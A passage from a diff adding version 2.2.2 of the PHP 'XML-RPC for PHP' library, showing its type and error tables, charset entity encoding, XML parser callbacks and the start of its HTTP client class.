CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +// INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED +// OF THE POSSIBILITY OF SUCH DAMAGE. + + if(!function_exists('xml_parser_create')) + { + // For PHP 4 onward, XML functionality is always compiled-in on windows: + // no more need to dl-open it. It might have been compiled out on *nix... + if(strtoupper(substr(PHP_OS, 0, 3) != 'WIN')) + { + dl('xml.so'); + } + } + + // Try to be backward compat with php < 4.2 (are we not being nice ?) + $phpversion = phpversion(); + if($phpversion[0] == '4' && $phpversion[2] < 2) + { + // give an opportunity to user to specify where to include other files from + if(!defined('PHP_XMLRPC_COMPAT_DIR')) + { + define('PHP_XMLRPC_COMPAT_DIR',dirname(__FILE__).'/compat/'); + } + if($phpversion[2] == '0') + { + if($phpversion[4] < 6) + { + include(PHP_XMLRPC_COMPAT_DIR.'is_callable.php'); + } + include(PHP_XMLRPC_COMPAT_DIR.'is_scalar.php'); + include(PHP_XMLRPC_COMPAT_DIR.'array_key_exists.php'); + include(PHP_XMLRPC_COMPAT_DIR.'version_compare.php'); + } + include(PHP_XMLRPC_COMPAT_DIR.'var_export.php'); + include(PHP_XMLRPC_COMPAT_DIR.'is_a.php'); + } + + // G. Giunta 2005/01/29: declare global these variables, + // so that xmlrpc.inc will work even if included from within a function + // Milosch: 2005/08/07 - explicitly request these via $GLOBALS where used. + $GLOBALS['xmlrpcI4']='i4'; + $GLOBALS['xmlrpcInt']='int'; + $GLOBALS['xmlrpcBoolean']='boolean'; + $GLOBALS['xmlrpcDouble']='double'; + $GLOBALS['xmlrpcString']='string'; + $GLOBALS['xmlrpcDateTime']='dateTime.iso8601'; + $GLOBALS['xmlrpcBase64']='base64'; + $GLOBALS['xmlrpcArray']='array'; + $GLOBALS['xmlrpcStruct']='struct'; + $GLOBALS['xmlrpcValue']='undefined'; + + $GLOBALS['xmlrpcTypes']=array( + $GLOBALS['xmlrpcI4'] => 1, + $GLOBALS['xmlrpcInt'] => 1, + $GLOBALS['xmlrpcBoolean'] => 1, + $GLOBALS['xmlrpcString'] => 1, + $GLOBALS['xmlrpcDouble'] => 1, + $GLOBALS['xmlrpcDateTime'] => 1, + $GLOBALS['xmlrpcBase64'] => 1, + $GLOBALS['xmlrpcArray'] => 2, + $GLOBALS['xmlrpcStruct'] => 3 + ); + + $GLOBALS['xmlrpc_valid_parents'] = array( + 'VALUE' => array('MEMBER', 'DATA', 'PARAM', 'FAULT'), + 'BOOLEAN' => array('VALUE'), + 'I4' => array('VALUE'), + 'INT' => array('VALUE'), + 'STRING' => array('VALUE'), + 'DOUBLE' => array('VALUE'), + 'DATETIME.ISO8601' => array('VALUE'), + 'BASE64' => array('VALUE'), + 'MEMBER' => array('STRUCT'), + 'NAME' => array('MEMBER'), + 'DATA' => array('ARRAY'), + 'ARRAY' => array('VALUE'), + 'STRUCT' => array('VALUE'), + 'PARAM' => array('PARAMS'), + 'METHODNAME' => array('METHODCALL'), + 'PARAMS' => array('METHODCALL', 'METHODRESPONSE'), + 'FAULT' => array('METHODRESPONSE'), + 'NIL' => array('VALUE') // only used when extension activated + ); + + // define extra types for supporting NULL (useful for json or ) + $GLOBALS['xmlrpcNull']='null'; + $GLOBALS['xmlrpcTypes']['null']=1; + + // Not in use anymore since 2.0. Shall we remove it? + /// @deprecated + $GLOBALS['xmlEntities']=array( + 'amp' => '&', + 'quot' => '"', + 'lt' => '<', + 'gt' => '>', + 'apos' => "'" + ); + + // tables used for transcoding different charsets into us-ascii xml + + $GLOBALS['xml_iso88591_Entities']=array(); + $GLOBALS['xml_iso88591_Entities']['in'] = array(); + $GLOBALS['xml_iso88591_Entities']['out'] = array(); + for ($i = 0; $i < 32; $i++) + { + $GLOBALS['xml_iso88591_Entities']['in'][] = chr($i); + $GLOBALS['xml_iso88591_Entities']['out'][] = '&#'.$i.';'; + } + for ($i = 160; $i < 256; $i++) + { + $GLOBALS['xml_iso88591_Entities']['in'][] = chr($i); + $GLOBALS['xml_iso88591_Entities']['out'][] = '&#'.$i.';'; + } + + /// @todo add to iso table the characters from cp_1252 range, i.e. 128 to 159? + /// These will NOT be present in true ISO-8859-1, but will save the unwary + /// windows user from sending junk (though no luck when reciving them...) + /* + $GLOBALS['xml_cp1252_Entities']=array(); + for ($i = 128; $i < 160; $i++) + { + $GLOBALS['xml_cp1252_Entities']['in'][] = chr($i); + } + $GLOBALS['xml_cp1252_Entities']['out'] = array( + '€', '?', '‚', 'ƒ', + '„', '…', '†', '‡', + 'ˆ', '‰', 'Š', '‹', + 'Œ', '?', 'Ž', '?', + '?', '‘', '’', '“', + '”', '•', '–', '—', + '˜', '™', 'š', '›', + 'œ', '?', 'ž', 'Ÿ' + ); + */ + + $GLOBALS['xmlrpcerr'] = array( + 'unknown_method'=>1, + 'invalid_return'=>2, + 'incorrect_params'=>3, + 'introspect_unknown'=>4, + 'http_error'=>5, + 'no_data'=>6, + 'no_ssl'=>7, + 'curl_fail'=>8, + 'invalid_request'=>15, + 'no_curl'=>16, + 'server_error'=>17, + 'multicall_error'=>18, + 'multicall_notstruct'=>9, + 'multicall_nomethod'=>10, + 'multicall_notstring'=>11, + 'multicall_recursion'=>12, + 'multicall_noparams'=>13, + 'multicall_notarray'=>14, + + 'cannot_decompress'=>103, + 'decompress_fail'=>104, + 'dechunk_fail'=>105, + 'server_cannot_decompress'=>106, + 'server_decompress_fail'=>107 + ); + + $GLOBALS['xmlrpcstr'] = array( + 'unknown_method'=>'Unknown method', + 'invalid_return'=>'Invalid return payload: enable debugging to examine incoming payload', + 'incorrect_params'=>'Incorrect parameters passed to method', + 'introspect_unknown'=>"Can't introspect: method unknown", + 'http_error'=>"Didn't receive 200 OK from remote server.", + 'no_data'=>'No data received from server.', + 'no_ssl'=>'No SSL support compiled in.', + 'curl_fail'=>'CURL error', + 'invalid_request'=>'Invalid request payload', + 'no_curl'=>'No CURL support compiled in.', + 'server_error'=>'Internal server error', + 'multicall_error'=>'Received from server invalid multicall response', + 'multicall_notstruct'=>'system.multicall expected struct', + 'multicall_nomethod'=>'missing methodName', + 'multicall_notstring'=>'methodName is not a string', + 'multicall_recursion'=>'recursive system.multicall forbidden', + 'multicall_noparams'=>'missing params', + 'multicall_notarray'=>'params is not an array', + + 'cannot_decompress'=>'Received from server compressed HTTP and cannot decompress', + 'decompress_fail'=>'Received from server invalid compressed HTTP', + 'dechunk_fail'=>'Received from server invalid chunked HTTP', + 'server_cannot_decompress'=>'Received from client compressed HTTP request and cannot decompress', + 'server_decompress_fail'=>'Received from client invalid compressed HTTP request' + ); + + // The charset encoding used by the server for received messages and + // by the client for received responses when received charset cannot be determined + // or is not supported + $GLOBALS['xmlrpc_defencoding']='UTF-8'; + + // The encoding used internally by PHP. + // String values received as xml will be converted to this, and php strings will be converted to xml + // as if having been coded with this + $GLOBALS['xmlrpc_internalencoding']='ISO-8859-1'; + + $GLOBALS['xmlrpcName']='XML-RPC for PHP'; + $GLOBALS['xmlrpcVersion']='2.2.2'; + + // let user errors start at 800 + $GLOBALS['xmlrpcerruser']=800; + // let XML parse errors start at 100 + $GLOBALS['xmlrpcerrxml']=100; + + // formulate backslashes for escaping regexp + // Not in use anymore since 2.0. Shall we remove it? + /// @deprecated + $GLOBALS['xmlrpc_backslash']=chr(92).chr(92); + + // set to TRUE to enable correct decoding of values + $GLOBALS['xmlrpc_null_extension']=false; + + // used to store state during parsing + // quick explanation of components: + // ac - used to accumulate values + // isf - used to indicate a parsing fault (2) or xmlrpcresp fault (1) + // isf_reason - used for storing xmlrpcresp fault string + // lv - used to indicate "looking for a value": implements + // the logic to allow values with no types to be strings + // params - used to store parameters in method calls + // method - used to store method name + // stack - array with genealogy of xml elements names: + // used to validate nesting of xmlrpc elements + $GLOBALS['_xh']=null; + + /** + * Convert a string to the correct XML representation in a target charset + * To help correct communication of non-ascii chars inside strings, regardless + * of the charset used when sending requests, parsing them, sending responses + * and parsing responses, an option is to convert all non-ascii chars present in the message + * into their equivalent 'charset entity'. Charset entities enumerated this way + * are independent of the charset encoding used to transmit them, and all XML + * parsers are bound to understand them. + * Note that in the std case we are not sending a charset encoding mime type + * along with http headers, so we are bound by RFC 3023 to emit strict us-ascii. + * + * @todo do a bit of basic benchmarking (strtr vs. str_replace) + * @todo make usage of iconv() or recode_string() or mb_string() where available + */ + function xmlrpc_encode_entitites($data, $src_encoding='', $dest_encoding='') + { + if ($src_encoding == '') + { + // lame, but we know no better... + $src_encoding = $GLOBALS['xmlrpc_internalencoding']; + } + + switch(strtoupper($src_encoding.'_'.$dest_encoding)) + { + case 'ISO-8859-1_': + case 'ISO-8859-1_US-ASCII': + $escaped_data = str_replace(array('&', '"', "'", '<', '>'), array('&', '"', ''', '<', '>'), $data); + $escaped_data = str_replace($GLOBALS['xml_iso88591_Entities']['in'], $GLOBALS['xml_iso88591_Entities']['out'], $escaped_data); + break; + case 'ISO-8859-1_UTF-8': + $escaped_data = str_replace(array('&', '"', "'", '<', '>'), array('&', '"', ''', '<', '>'), $data); + $escaped_data = utf8_encode($escaped_data); + break; + case 'ISO-8859-1_ISO-8859-1': + case 'US-ASCII_US-ASCII': + case 'US-ASCII_UTF-8': + case 'US-ASCII_': + case 'US-ASCII_ISO-8859-1': + case 'UTF-8_UTF-8': + //case 'CP1252_CP1252': + $escaped_data = str_replace(array('&', '"', "'", '<', '>'), array('&', '"', ''', '<', '>'), $data); + break; + case 'UTF-8_': + case 'UTF-8_US-ASCII': + case 'UTF-8_ISO-8859-1': + // NB: this will choke on invalid UTF-8, going most likely beyond EOF + $escaped_data = ''; + // be kind to users creating string xmlrpcvals out of different php types + $data = (string) $data; + $ns = strlen ($data); + for ($nn = 0; $nn < $ns; $nn++) + { + $ch = $data[$nn]; + $ii = ord($ch); + //1 7 0bbbbbbb (127) + if ($ii < 128) + { + /// @todo shall we replace this with a (supposedly) faster str_replace? + switch($ii){ + case 34: + $escaped_data .= '"'; + break; + case 38: + $escaped_data .= '&'; + break; + case 39: + $escaped_data .= '''; + break; + case 60: + $escaped_data .= '<'; + break; + case 62: + $escaped_data .= '>'; + break; + default: + $escaped_data .= $ch; + } // switch + } + //2 11 110bbbbb 10bbbbbb (2047) + else if ($ii>>5 == 6) + { + $b1 = ($ii & 31); + $ii = ord($data[$nn+1]); + $b2 = ($ii & 63); + $ii = ($b1 * 64) + $b2; + $ent = sprintf ('&#%d;', $ii); + $escaped_data .= $ent; + $nn += 1; + } + //3 16 1110bbbb 10bbbbbb 10bbbbbb + else if ($ii>>4 == 14) + { + $b1 = ($ii & 15); + $ii = ord($data[$nn+1]); + $b2 = ($ii & 63); + $ii = ord($data[$nn+2]); + $b3 = ($ii & 63); + $ii = ((($b1 * 64) + $b2) * 64) + $b3; + $ent = sprintf ('&#%d;', $ii); + $escaped_data .= $ent; + $nn += 2; + } + //4 21 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb + else if ($ii>>3 == 30) + { + $b1 = ($ii & 7); + $ii = ord($data[$nn+1]); + $b2 = ($ii & 63); + $ii = ord($data[$nn+2]); + $b3 = ($ii & 63); + $ii = ord($data[$nn+3]); + $b4 = ($ii & 63); + $ii = ((((($b1 * 64) + $b2) * 64) + $b3) * 64) + $b4; + $ent = sprintf ('&#%d;', $ii); + $escaped_data .= $ent; + $nn += 3; + } + } + break; +/* + case 'CP1252_': + case 'CP1252_US-ASCII': + $escaped_data = str_replace(array('&', '"', "'", '<', '>'), array('&', '"', ''', '<', '>'), $data); + $escaped_data = str_replace($GLOBALS['xml_iso88591_Entities']['in'], $GLOBALS['xml_iso88591_Entities']['out'], $escaped_data); + $escaped_data = str_replace($GLOBALS['xml_cp1252_Entities']['in'], $GLOBALS['xml_cp1252_Entities']['out'], $escaped_data); + break; + case 'CP1252_UTF-8': + $escaped_data = str_replace(array('&', '"', "'", '<', '>'), array('&', '"', ''', '<', '>'), $data); + /// @todo we could use real UTF8 chars here instead of xml entities... (note that utf_8 encode all allone will NOT convert them) + $escaped_data = str_replace($GLOBALS['xml_cp1252_Entities']['in'], $GLOBALS['xml_cp1252_Entities']['out'], $escaped_data); + $escaped_data = utf8_encode($escaped_data); + break; + case 'CP1252_ISO-8859-1': + $escaped_data = str_replace(array('&', '"', "'", '<', '>'), array('&', '"', ''', '<', '>'), $data); + // we might as well replave all funky chars with a '?' here, but we are kind and leave it to the receiving application layer to decide what to do with these weird entities... + $escaped_data = str_replace($GLOBALS['xml_cp1252_Entities']['in'], $GLOBALS['xml_cp1252_Entities']['out'], $escaped_data); + break; +*/ + default: + $escaped_data = ''; + error_log("Converting from $src_encoding to $dest_encoding: not supported..."); + } + return $escaped_data; + } + + /// xml parser handler function for opening element tags + function xmlrpc_se($parser, $name, $attrs, $accept_single_vals=false) + { + // if invalid xmlrpc already detected, skip all processing + if ($GLOBALS['_xh']['isf'] < 2) + { + // check for correct element nesting + // top level element can only be of 2 types + /// @todo optimization creep: save this check into a bool variable, instead of using count() every time: + /// there is only a single top level element in xml anyway + if (count($GLOBALS['_xh']['stack']) == 0) + { + if ($name != 'METHODRESPONSE' && $name != 'METHODCALL' && ( + $name != 'VALUE' && !$accept_single_vals)) + { + $GLOBALS['_xh']['isf'] = 2; + $GLOBALS['_xh']['isf_reason'] = 'missing top level xmlrpc element'; + return; + } + else + { + $GLOBALS['_xh']['rt'] = strtolower($name); + } + } + else + { + // not top level element: see if parent is OK + $parent = end($GLOBALS['_xh']['stack']); + if (!array_key_exists($name, $GLOBALS['xmlrpc_valid_parents']) || !in_array($parent, $GLOBALS['xmlrpc_valid_parents'][$name])) + { + $GLOBALS['_xh']['isf'] = 2; + $GLOBALS['_xh']['isf_reason'] = "xmlrpc element $name cannot be child of $parent"; + return; + } + } + + switch($name) + { + // optimize for speed switch cases: most common cases first + case 'VALUE': + /// @todo we could check for 2 VALUE elements inside a MEMBER or PARAM element + $GLOBALS['_xh']['vt']='value'; // indicator: no value found yet + $GLOBALS['_xh']['ac']=''; + $GLOBALS['_xh']['lv']=1; + $GLOBALS['_xh']['php_class']=null; + break; + case 'I4': + case 'INT': + case 'STRING': + case 'BOOLEAN': + case 'DOUBLE': + case 'DATETIME.ISO8601': + case 'BASE64': + if ($GLOBALS['_xh']['vt']!='value') + { + //two data elements inside a value: an error occurred! + $GLOBALS['_xh']['isf'] = 2; + $GLOBALS['_xh']['isf_reason'] = "$name element following a {$GLOBALS['_xh']['vt']} element inside a single value"; + return; + } + $GLOBALS['_xh']['ac']=''; // reset the accumulator + break; + case 'STRUCT': + case 'ARRAY': + if ($GLOBALS['_xh']['vt']!='value') + { + //two data elements inside a value: an error occurred! + $GLOBALS['_xh']['isf'] = 2; + $GLOBALS['_xh']['isf_reason'] = "$name element following a {$GLOBALS['_xh']['vt']} element inside a single value"; + return; + } + // create an empty array to hold child values, and push it onto appropriate stack + $cur_val = array(); + $cur_val['values'] = array(); + $cur_val['type'] = $name; + // check for out-of-band information to rebuild php objs + // and in case it is found, save it + if (@isset($attrs['PHP_CLASS'])) + { + $cur_val['php_class'] = $attrs['PHP_CLASS']; + } + $GLOBALS['_xh']['valuestack'][] = $cur_val; + $GLOBALS['_xh']['vt']='data'; // be prepared for a data element next + break; + case 'DATA': + if ($GLOBALS['_xh']['vt']!='data') + { + //two data elements inside a value: an error occurred! + $GLOBALS['_xh']['isf'] = 2; + $GLOBALS['_xh']['isf_reason'] = "found two data elements inside an array element"; + return; + } + case 'METHODCALL': + case 'METHODRESPONSE': + case 'PARAMS': + // valid elements that add little to processing + break; + case 'METHODNAME': + case 'NAME': + /// @todo we could check for 2 NAME elements inside a MEMBER element + $GLOBALS['_xh']['ac']=''; + break; + case 'FAULT': + $GLOBALS['_xh']['isf']=1; + break; + case 'MEMBER': + $GLOBALS['_xh']['valuestack'][count($GLOBALS['_xh']['valuestack'])-1]['name']=''; // set member name to null, in case we do not find in the xml later on + //$GLOBALS['_xh']['ac']=''; + // Drop trough intentionally + case 'PARAM': + // clear value type, so we can check later if no value has been passed for this param/member + $GLOBALS['_xh']['vt']=null; + break; + case 'NIL': + if ($GLOBALS['xmlrpc_null_extension']) + { + if ($GLOBALS['_xh']['vt']!='value') + { + //two data elements inside a value: an error occurred! + $GLOBALS['_xh']['isf'] = 2; + $GLOBALS['_xh']['isf_reason'] = "$name element following a {$GLOBALS['_xh']['vt']} element inside a single value"; + return; + } + $GLOBALS['_xh']['ac']=''; // reset the accumulator + break; + } + // we do not support the extension, so + // drop through intentionally + default: + /// INVALID ELEMENT: RAISE ISF so that it is later recognized!!! + $GLOBALS['_xh']['isf'] = 2; + $GLOBALS['_xh']['isf_reason'] = "found not-xmlrpc xml element $name"; + break; + } + + // Save current element name to stack, to validate nesting + $GLOBALS['_xh']['stack'][] = $name; + + /// @todo optimization creep: move this inside the big switch() above + if($name!='VALUE') + { + $GLOBALS['_xh']['lv']=0; + } + } + } + + /// Used in decoding xml chunks that might represent single xmlrpc values + function xmlrpc_se_any($parser, $name, $attrs) + { + xmlrpc_se($parser, $name, $attrs, true); + } + + /// xml parser handler function for close element tags + function xmlrpc_ee($parser, $name, $rebuild_xmlrpcvals = true) + { + if ($GLOBALS['_xh']['isf'] < 2) + { + // push this element name from stack + // NB: if XML validates, correct opening/closing is guaranteed and + // we do not have to check for $name == $curr_elem. + // we also checked for proper nesting at start of elements... + $curr_elem = array_pop($GLOBALS['_xh']['stack']); + + switch($name) + { + case 'VALUE': + // This if() detects if no scalar was inside + if ($GLOBALS['_xh']['vt']=='value') + { + $GLOBALS['_xh']['value']=$GLOBALS['_xh']['ac']; + $GLOBALS['_xh']['vt']=$GLOBALS['xmlrpcString']; + } + + if ($rebuild_xmlrpcvals) + { + // build the xmlrpc val out of the data received, and substitute it + $temp =& new xmlrpcval($GLOBALS['_xh']['value'], $GLOBALS['_xh']['vt']); + // in case we got info about underlying php class, save it + // in the object we're rebuilding + if (isset($GLOBALS['_xh']['php_class'])) + $temp->_php_class = $GLOBALS['_xh']['php_class']; + // check if we are inside an array or struct: + // if value just built is inside an array, let's move it into array on the stack + $vscount = count($GLOBALS['_xh']['valuestack']); + if ($vscount && $GLOBALS['_xh']['valuestack'][$vscount-1]['type']=='ARRAY') + { + $GLOBALS['_xh']['valuestack'][$vscount-1]['values'][] = $temp; + } + else + { + $GLOBALS['_xh']['value'] = $temp; + } + } + else + { + /// @todo this needs to treat correctly php-serialized objects, + /// since std deserializing is done by php_xmlrpc_decode, + /// which we will not be calling... + if (isset($GLOBALS['_xh']['php_class'])) + { + } + + // check if we are inside an array or struct: + // if value just built is inside an array, let's move it into array on the stack + $vscount = count($GLOBALS['_xh']['valuestack']); + if ($vscount && $GLOBALS['_xh']['valuestack'][$vscount-1]['type']=='ARRAY') + { + $GLOBALS['_xh']['valuestack'][$vscount-1]['values'][] = $GLOBALS['_xh']['value']; + } + } + break; + case 'BOOLEAN': + case 'I4': + case 'INT': + case 'STRING': + case 'DOUBLE': + case 'DATETIME.ISO8601': + case 'BASE64': + $GLOBALS['_xh']['vt']=strtolower($name); + /// @todo: optimization creep - remove the if/elseif cycle below + /// since the case() in which we are already did that + if ($name=='STRING') + { + $GLOBALS['_xh']['value']=$GLOBALS['_xh']['ac']; + } + elseif ($name=='DATETIME.ISO8601') + { + if (!preg_match('/^[0-9]{8}T[0-9]{2}:[0-9]{2}:[0-9]{2}$/', $GLOBALS['_xh']['ac'])) + { + error_log('XML-RPC: invalid value received in DATETIME: '.$GLOBALS['_xh']['ac']); + } + $GLOBALS['_xh']['vt']=$GLOBALS['xmlrpcDateTime']; + $GLOBALS['_xh']['value']=$GLOBALS['_xh']['ac']; + } + elseif ($name=='BASE64') + { + /// @todo check for failure of base64 decoding / catch warnings + $GLOBALS['_xh']['value']=base64_decode($GLOBALS['_xh']['ac']); + } + elseif ($name=='BOOLEAN') + { + // special case here: we translate boolean 1 or 0 into PHP + // constants true or false. + // Strings 'true' and 'false' are accepted, even though the + // spec never mentions them (see eg. Blogger api docs) + // NB: this simple checks helps a lot sanitizing input, ie no + // security problems around here + if ($GLOBALS['_xh']['ac']=='1' || strcasecmp($GLOBALS['_xh']['ac'], 'true') == 0) + { + $GLOBALS['_xh']['value']=true; + } + else + { + // log if receiveing something strange, even though we set the value to false anyway + if ($GLOBALS['_xh']['ac']!='0' && strcasecmp($GLOBALS['_xh']['ac'], 'false') != 0) + error_log('XML-RPC: invalid value received in BOOLEAN: '.$GLOBALS['_xh']['ac']); + $GLOBALS['_xh']['value']=false; + } + } + elseif ($name=='DOUBLE') + { + // we have a DOUBLE + // we must check that only 0123456789-. are characters here + // NOTE: regexp could be much stricter than this... + if (!preg_match('/^[+-eE0123456789 \t.]+$/', $GLOBALS['_xh']['ac'])) + { + /// @todo: find a better way of throwing an error than this! + error_log('XML-RPC: non numeric value received in DOUBLE: '.$GLOBALS['_xh']['ac']); + $GLOBALS['_xh']['value']='ERROR_NON_NUMERIC_FOUND'; + } + else + { + // it's ok, add it on + $GLOBALS['_xh']['value']=(double)$GLOBALS['_xh']['ac']; + } + } + else + { + // we have an I4/INT + // we must check that only 0123456789- are characters here + if (!preg_match('/^[+-]?[0123456789 \t]+$/', $GLOBALS['_xh']['ac'])) + { + /// @todo find a better way of throwing an error than this! + error_log('XML-RPC: non numeric value received in INT: '.$GLOBALS['_xh']['ac']); + $GLOBALS['_xh']['value']='ERROR_NON_NUMERIC_FOUND'; + } + else + { + // it's ok, add it on + $GLOBALS['_xh']['value']=(int)$GLOBALS['_xh']['ac']; + } + } + //$GLOBALS['_xh']['ac']=''; // is this necessary? + $GLOBALS['_xh']['lv']=3; // indicate we've found a value + break; + case 'NAME': + $GLOBALS['_xh']['valuestack'][count($GLOBALS['_xh']['valuestack'])-1]['name'] = $GLOBALS['_xh']['ac']; + break; + case 'MEMBER': + //$GLOBALS['_xh']['ac']=''; // is this necessary? + // add to array in the stack the last element built, + // unless no VALUE was found + if ($GLOBALS['_xh']['vt']) + { + $vscount = count($GLOBALS['_xh']['valuestack']); + $GLOBALS['_xh']['valuestack'][$vscount-1]['values'][$GLOBALS['_xh']['valuestack'][$vscount-1]['name']] = $GLOBALS['_xh']['value']; + } else + error_log('XML-RPC: missing VALUE inside STRUCT in received xml'); + break; + case 'DATA': + //$GLOBALS['_xh']['ac']=''; // is this necessary? + $GLOBALS['_xh']['vt']=null; // reset this to check for 2 data elements in a row - even if they're empty + break; + case 'STRUCT': + case 'ARRAY': + // fetch out of stack array of values, and promote it to current value + $curr_val = array_pop($GLOBALS['_xh']['valuestack']); + $GLOBALS['_xh']['value'] = $curr_val['values']; + $GLOBALS['_xh']['vt']=strtolower($name); + if (isset($curr_val['php_class'])) + { + $GLOBALS['_xh']['php_class'] = $curr_val['php_class']; + } + break; + case 'PARAM': + // add to array of params the current value, + // unless no VALUE was found + if ($GLOBALS['_xh']['vt']) + { + $GLOBALS['_xh']['params'][]=$GLOBALS['_xh']['value']; + $GLOBALS['_xh']['pt'][]=$GLOBALS['_xh']['vt']; + } + else + error_log('XML-RPC: missing VALUE inside PARAM in received xml'); + break; + case 'METHODNAME': + $GLOBALS['_xh']['method']=preg_replace('/^[\n\r\t ]+/', '', $GLOBALS['_xh']['ac']); + break; + case 'NIL': + if ($GLOBALS['xmlrpc_null_extension']) + { + $GLOBALS['_xh']['vt']='null'; + $GLOBALS['_xh']['value']=null; + $GLOBALS['_xh']['lv']=3; + break; + } + // drop through intentionally if nil extension not enabled + case 'PARAMS': + case 'FAULT': + case 'METHODCALL': + case 'METHORESPONSE': + break; + default: + // End of INVALID ELEMENT! + // shall we add an assert here for unreachable code??? + break; + } + } + } + + /// Used in decoding xmlrpc requests/responses without rebuilding xmlrpc values + function xmlrpc_ee_fast($parser, $name) + { + xmlrpc_ee($parser, $name, false); + } + + /// xml parser handler function for character data + function xmlrpc_cd($parser, $data) + { + // skip processing if xml fault already detected + if ($GLOBALS['_xh']['isf'] < 2) + { + // "lookforvalue==3" means that we've found an entire value + // and should discard any further character data + if($GLOBALS['_xh']['lv']!=3) + { + // G. Giunta 2006-08-23: useless change of 'lv' from 1 to 2 + //if($GLOBALS['_xh']['lv']==1) + //{ + // if we've found text and we're just in a then + // say we've found a value + //$GLOBALS['_xh']['lv']=2; + //} + // we always initialize the accumulator before starting parsing, anyway... + //if(!@isset($GLOBALS['_xh']['ac'])) + //{ + // $GLOBALS['_xh']['ac'] = ''; + //} + $GLOBALS['_xh']['ac'].=$data; + } + } + } + + /// xml parser handler function for 'other stuff', ie. not char data or + /// element start/end tag. In fact it only gets called on unknown entities... + function xmlrpc_dh($parser, $data) + { + // skip processing if xml fault already detected + if ($GLOBALS['_xh']['isf'] < 2) + { + if(substr($data, 0, 1) == '&' && substr($data, -1, 1) == ';') + { + // G. Giunta 2006-08-25: useless change of 'lv' from 1 to 2 + //if($GLOBALS['_xh']['lv']==1) + //{ + // $GLOBALS['_xh']['lv']=2; + //} + $GLOBALS['_xh']['ac'].=$data; + } + } + return true; + } + + class xmlrpc_client + { + var $path; + var $server; + var $port=0; + var $method='http'; + var $errno; + var $errstr; + var $debug=0; + var $username=''; + var $password=''; + var $authtype=1; + var $cert=''; + var $certpass=''; + var $cacert=''; + var $cacertdir=''; + var $key=''; + var $keypass=''; + var $verifypeer=true; + var $verifyhost=1; + var $no_multicall=false; + var $proxy=''; + var $proxyport=0; + var $proxy_user=''; + var $proxy_pass=''; + var $proxy_authtype=1; + var $cookies=array(); + /** + * List of http compression methods accepted by the client for responses. + * NB: PHP supports deflate, gzip compressions out of the box if compiled w. zlib + * + * NNB: you can set it to any non-empty array for HTTP11 and HTTPS, since + * in those cases it will be up to CURL to decide the compression methods + * it supports. You might check for the presence of 'zlib' in the output of + * curl_version() to determine wheter compression is supported or not + */ + var $accepted_compression = array(); + /** + * Name of compression scheme to be used for sending requests. + * Either null, gzip or deflate + */ + var $request_compression = ''; + /** + * CURL handle: used for keep-alive connections (PHP 4.3.8 up, see: + * http://curl.haxx.se/docs/faq.html#7.3) + */ + var $xmlrpc_curl_handle = null; + /// Wheter to use persistent connections for http 1.1 and https + var $keepalive = false; + /// Charset encodings that can be decoded without problems by the client + var $accepted_charset_encodings = array(); + /// Charset encoding to be used in serializing request. NULL = use ASCII + var $request_charset_encoding = ''; + /** + * Decides the content of xmlrpcresp objects returned by calls to send() + * valid strings are 'xmlrpcvals', 'phpvals' or 'xml' + */ + var $return_type = 'xmlrpcvals'; + + /** + * @param string $path either the complete server URL or the PATH part of the xmlrc server URL, e.g. /xmlrpc/server.php + * @param string $server the server name / ip address + * @param integer $port the port the server is listening on, defaults to 80 or 443 depending on protocol used + * @param string $method the http protocol variant: defaults to 'http', 'https' and 'http11' can be used if CURL is installed + */ + function xmlrpc_client($path, $server='', $port='', $method='') + { + // allow user to specify all params in $path + if($server == '' and $port == '' and $method == '') + { + $parts = parse_url($path); + $server = $parts['host']; + $path = isset($parts['path']) ? $parts['path'] : ''; + if(isset($parts['query'])) + { + $path .= '?'.$parts['query']; + } + if(isset($parts['fragment'])) + { + $path .= '#'.$parts['fragment']; + } + if(isset($parts['port'])) + { + $port = $parts['port']; + } + if(isset($parts['scheme'])) + { + $method = $parts['scheme']; + } + if(isset($parts['user'])) + { + $this->username = $parts['user']; + } + if(isset($parts['pass'])) + { + $this->password = $parts['pass']; + } + } + if($path == '' || $path[0] != '/') + { + $this->path='/'.$path; + } + else + { + $this->path=$path; + } + $this->server=$server; + if($port != '') + { + $this->port=$port; + } + if($method != '') + { + $this->method=$method; + } + + // if ZLIB is enabled, let the client by default accept compressed responses + if(function_exists('gzinflate') || ( + function_exists('curl_init') && (($info = curl_version()) && + ((is_string($info) && strpos($info, 'zlib') !== null) || isset($info['libz_version']))) + )) + { + $this->accepted_compression = array('gzip', 'deflate'); + } + + // keepalives: enabled by default ONLY for PHP >= 4.3.8 + // (see http://curl.haxx.se/docs/faq.html#7.3) + if(version_compare(phpversion(), '4.3.8') >= 0) + { + $this->keepalive = true; + } + + // by default the xml parser can support these 3 charset encodings + $this->accepted_charset_encodings = array('UTF-8', 'ISO-8859-1', 'US-ASCII'); + } + + /** + * Enables/disables the echoing to screen of the xmlrpc responses received + * @param integer $debug values 0, 1 and 2 are supported (2 = echo sent msg too, before received response) + * @access public + */ + function setDebug($in) + { + $this->debug=$in; + } + + /** + * Add some http BASIC AUTH credentials, used by the client to authenticate + * @param string $u username + * @param string $p password + * @param integer $t auth type. See curl_setopt man page for supported auth types. Defaults to CURLAUTH_BASIC (basic auth) + * @access public + */ + function setCredentials($u, $p, $t=1) + { + $this->username=$u; + $this->password=$p; + $this->authtype=$t; + } + + /** + * Add a client-side https certificate + * @param string $cert + * @param string $certpass + * @access public + */ + function setCertificate($cert, $certpass) + { + $this->cert = $cert; + $this->certpass = $certpass; + } + + /** + * Add a CA certificate to verify server with (see man page about + * CURLOPT_CAINFO for more details + * @param string $cacert certificate file name (or dir holding certificates) + * @param bool $is_dir set to true to indicate cacert is a dir. defaults to false + * @access public + */ + function setCaCertificate($cacert, $is_dir=false) + { + if ($is_dir) + { + $this->cacertdir = $cacert; + } + else + { + $this->cacert = $cacert; + } + } + + /** + * Set attributes for SSL communication: private SSL key + * NB: does not work in older php/curl installs + * Thanks to Daniel Convissor + * @param string $key The name of a file containing a private SSL key + * @param string $keypass The secret password needed to use 